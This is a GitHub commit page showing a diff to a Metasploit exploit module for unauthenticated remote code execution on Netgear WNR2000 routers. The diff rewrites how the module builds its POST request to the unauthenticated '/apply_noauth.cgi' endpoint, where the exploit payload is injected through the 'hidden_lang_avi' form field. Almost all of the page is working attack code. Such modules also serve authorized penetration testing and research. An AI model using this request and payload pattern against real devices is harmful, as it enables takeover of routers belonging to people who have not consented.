We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent bee36ca commit 2315100Copy full SHA for 2315100
modules/exploits/linux/http/netgear_wnr2000_rce.rb
@@ -174,11 +174,12 @@ def get_payload
174
175
def send_req(timestamp)
176
begin
177
- uri_str = (timestamp == nil ? \
178
- "/apply_noauth.cgi?/lang_check.html" : \
179
- "/apply_noauth.cgi?/lang_check.html%20timestamp=#{timestamp.to_s}")
+ query_str = (timestamp == nil ? \
+ '/lang_check.html' : \
+ "/lang_check.html%20timestamp=#{timestamp.to_s}")
180
res = send_request_raw({
181
- 'uri' => uri_str,
+ 'uri' => '/apply_noauth.cgi',
182
+ 'query' => query_str,
183
'method' => 'POST',
184
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
185
'data' => "submit_flag=select_language&hidden_lang_avi=#{get_payload}"
0 commit comments